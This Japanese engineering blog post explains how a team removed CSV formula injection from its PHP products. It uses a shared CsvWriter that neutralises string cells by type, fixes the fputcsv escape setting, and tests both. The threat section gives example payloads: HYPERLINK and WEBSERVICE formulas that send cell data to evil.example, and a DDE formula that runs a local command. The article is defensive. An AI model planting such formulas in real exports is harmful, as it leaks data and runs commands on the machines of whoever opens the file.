はじめに
CSV エクスポート機能を持つ PHP アプリを運用している方へ。
「CSV エクスポート」は、どの業務 SaaS にもだいたい付いている地味な機能です。ところがこの地味な機能に、サーバ側のバリデーションを全部すり抜けてくる脆弱性が潜んでいます。CSV formula injection(数式インジェクション、別名 CSV injection)です。
やっかいなのは、これが自分のサーバの問題ではなく、CSV を開いた相手の Excel / Google スプレッドシート / LibreOffice で発火すること。SQL はパラメータバインドしていて、入力バリデーションも通っていて、それでも「正しい CSV」の中に動く exploit を同梱して配ってしまう、という構図です。
私たちは複数プロダクトを横断する共通基盤(社内では NeNe シリーズと呼んでいます)を運用していて、CSV 出力は 6 製品にまたがる手書きの fputcsv 9 か所・バラバラの品質で実装していました。そのうち formula injection を中和していたのは 2 プロダクトだけ。これを 1 つの共通 Writer に集約し、型ベースの中和をデフォルト ON にしてフリート全体から一掃した、という話をコード付きで書きます。
読者としては「CSV エクスポート機能を持っている PHP アプリを書いたことがある実務エンジニア」を想定しています。
この記事で分かること:
- サーバ側のバリデーションを全部すり抜け、相手の Excel / スプレッドシートで発火する CSV formula injection の仕組み
- 「列名 allowlist」ではなく「PHP の型(string か否か)」で中和する、列追加に強い型ベース中和
-
fputcsvの空エスケープで RFC 4180 準拠にしつつ PHP 8.4 の deprecation を回避する固定化
脅威 — 振込名義に式が載る
まず攻撃を具体的に。次の文字列を、ごく普通の「表示名」や「振込名義」としてDBに保存させ、あとで管理者が CSV をエクスポートして Excel で開いたとします。
=HYPERLINK("https://evil.example/leak?d="&A1&A2, "Click for refund")
-
=HYPERLINK(...)— クリックすると隣接セルの中身を攻撃者の URL へ送信(情報漏えい)。 -
=WEBSERVICE("https://evil.example/?"&A1)— 古い Excel ではクリック不要で漏えい。 -
=cmd|'/c calc'!A0— DDE 経由。確認ダイアログの先でローカルコマンドを実行しうる。
スプレッドシートは、セルの先頭文字が = + - @、タブ(\t)、キャリッジリターン(\r)のいずれかだと、その中身を数式として解釈します。攻撃者はこれらで始まる文字列を「名前」欄に入れておくだけでいい。
現実にどこが穴になるか。私たちのフリートの棚卸しでは、ユーザが自由入力できて未保護だったのは以下のような列でした(ADR 0015 のコンテキストより):
- 送金の振込名義(payer が任意に決められる文字列)と受取メールアドレス
- 取引先名・カテゴリ
- 監査ログの
before/after(任意のユーザ文字列がそのまま入る — 一番直球の注入経路) - 操作者名
どれも「自分のサーバでは無害な文字列」です。SSRF や SQLi と違ってサーバ側では何も起きない。だからこそ、バリデーション層ではなく出力層(エンコード境界)で守る問題になります。
列名 allowlist ではなく型ベース中和
素朴な対策として「この列は危ないから中和する」という列名 allowlist があります。実際、移設前のあるプロダクトはこの方式でした。しかしこれは新しくテキスト列が増えたときに漏れる。列を追加した人が allowlist の存在を知らなければ、その列は無防備で出荷されます。
そこで採ったのが型ベース中和です。「どの列か」ではなく「PHP の型が string かどうか」で中和の要否を決めます。int / float / bool / null は素通し、string だけを中和対象にする。これなら列が増えても string である限り自動的にカバーされ、数値カラムは絶対に壊れません。
実際に共通 Writer Nene2\Export\CsvWriter に入れたコードがこれです(src/Export/CsvWriter.php)。まず中和のトリガー文字を private 定数に固定します。
/** Leading characters that make a spreadsheet treat a cell as a formula. */
private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"];
出力の 1 行を書き出す前に、string のセルだけを中和します。ここが型ベースの核心で、is_string() で振り分けているだけです。
/** @param list<string|int|float|bool|null> $fields */
private function put(array $fields): void
{
if ($this->sanitizeFormulas) {
$fields = array_map(
fn (string|int|float|bool|null $field): string|int|float|bool|null => is_string($field)
? $this->neutralize($field)
: $field,
$fields,
);
}
fputcsv($this->stream, $fields, ',', '"', self::ESCAPE);
}
/** Prefixes a single quote when a string cell would otherwise parse as a formula. */
private function neutralize(string $value): string
{
if ($value !== '' && in_array($value[0], self::FORMULA_TRIGGERS, true)) {
return "'" . $value;
}
return $value;
}
やっていることは「先頭 1 文字がトリガーなら '(シングルクオート)を前置する」だけ。Excel はこれでセルをリテラルテキストとして描画します。
ここで判別ケースが効いてきます。テキストの "-1200"(攻撃者が入れうる文字列)と、金額としての整数 -1200 は、同じ「-1200」でも扱いが変わります。
- 文字列
"-1200"→'-1200(string なので中和される) - 整数
-1200→-1200(int なので素通し。数値のまま壊れない)
テストでもこの 1 点を明示的に固定しています(tests/Export/CsvWriterTest.php)。
public function testStringNegativeIsNeutralisedButNumericNegativeIsNot(): void
{
// The discriminating case: same textual "-1200", different type => different output.
$out = $this->render([], [
['-1200', -1200],
], bom: false);
self::assertSame(["'-1200,-1200"], $this->dataLines($out));
}
ポイントは、neutralize() の中に is_numeric() チェックを置いていないことです。OWASP のベースライン実装だと「先頭が危険 かつ 数値でない」ものを中和する、という !is_numeric() ガードをよく見ます。単一関数として書くならそれで正しい。しかし Writer は型で先に振り分けているので、数値の素通しは is_string() の側で担保され、neutralize() に渡ってくるのは常に string です。string の "-1200" はためらわず中和する — これが「列 allowlist より強い」型ベースの帰結です。中和はデフォルト ON、コンストラクタで sanitizeFormulas: true が既定値です。
public function __construct(
$stream,
private readonly array $headers = [],
private readonly bool $bom = true,
private readonly bool $sanitizeFormulas = true, // 既定で ON
) {
$this->stream = $stream;
}
信頼できる機械生成データ専用に false の逃げ道は残していますが、安全側がデフォルトです。
PHP 8.4 対策と private 定数化
もう 1 つ、同じ Writer で閉じたのが fputcsv のエスケープ挙動です。RFC 4180 では、フィールド内のダブルクオートは**バックスラッシュではなく二重化("")**で表現します。PHP には歴史的にバックスラッシュ(\)でエスケープするデフォルト挙動があり、これは RFC 4180 に反するうえ Excel が誤パースします。
fputcsv に空のエスケープ文字を渡すと、この二重化(RFC 4180 準拠)の挙動になります。そして重要なのが、PHP 8.4 では非空のエスケープ引数が deprecated になったこと。つまりバックスラッシュ方式は「RFC 違反」であると同時に「将来の非互換」でもあり、二重に捨てるべきものになりました。
対策はエスケープを空文字の private 定数に固定することです。
/**
* RFC 4180 uses no escape character — embedded enclosures are doubled.
* Passing an empty escape to `fputcsv` selects that behaviour and side-steps
* PHP 8.4's deprecation of a non-empty escape argument. Intentionally a
* constant, not a constructor option: exposing it would let a consumer opt
* back into the deprecated, non-RFC-4180 backslash escaping.
*/
private const ESCAPE = '';
ここをコンストラクタ引数にしなかったのが設計上の肝です。もし escape を外から差し込めるようにすると、利用側が deprecated なバックスラッシュ挙動に戻せてしまう。中和という守りを、設定 1 つで自分から穴に戻せる余地を消すために、あえて設定不可能な private 定数にしています(ADR 0015 では、設計案が escape を引数として提案していたのを、この 1 点だけ意図的に却下した、と明記されています)。
RFC 4180 の丸め込みが効いているかもテストで固定しています。バックスラッシュエスケープ(\")が出力に現れないことまで assert しているのがポイントです。
// Comma-bearing cell is enclosed; embedded quote is doubled (not backslash-escaped).
self::assertStringContainsString('"a,b"', $out);
self::assertStringContainsString('"a""b"', $out);
self::assertStringNotContainsString('\\"', $out);
ついでに、Excel(日本語ロケール)で UTF-8 を文字化けさせないための UTF-8 BOM("\xEF\xBB\xBF")もデフォルト ON のオプションにしていますが、これは中和とは独立した別関心事なので詳細は割愛します。
学び
- injection は「列」ではなく「値の性質」。「この列だけ危ない」という見立ては、列が増えた瞬間に破れます。型(string か否か)で一律に判定するほうが、新しいテキスト列を取りこぼしません。
- 中和は出力層(エンコード境界)で一律に。振込名義や監査ログのように「自由入力がそのまま出力に載る」経路は無数にあり、ハンドラごとに気をつける規律は必ずどこかで抜けます。共通 Writer 1 か所に寄せると、採用したプロダクトはその瞬間に全カラムが守られます。
- 安全を「戻せなくする」。エスケープを private 定数に固定したように、安全なデフォルトを設定で無効化できないようにすると、脆弱性は「規律」ではなく「構造」で閉じます。PHP 8.4 の deprecation 対応も、この固定化で自動的に片付きました。
- 型ベース中和には見える副作用があります。正当なテキストで
-+=@始まりのもの(例:-未定というラベル)には先頭に'が付きます。数値カラムは型で素通しなので無傷ですが、移設 PR ではゴールデンファイルの回帰テストで「意図した差分(BOM・エスケープ・中和)だけ」が出ることを確認するのが安全です。
一次資料
-
NENE2 ADR 0015: CSV export framework module(
Nene2\Export) — 型ベース中和・エスケープ固定・BOM の設計判断と却下案 - 実装:
src/Export/CsvWriter.php(FORMULA_TRIGGERS/ESCAPE/neutralize()) - テスト:
tests/Export/CsvWriterTest.php(判別ケースtestStringNegativeIsNeutralisedButNumericNegativeIsNotほか) - PR #1505(Issue #1504): CSV 出力基盤
Nene2\Export\CsvWriterの追加
関連記事
- セキュリティ系の連作:PHP で SSRF を本気で塞ぐ/リリース前アドバーサリアルレビューを常設する(いずれも公開後にリンク)
── 森 秀之(彩音インターナショナル) 🔗 ayane.co.jp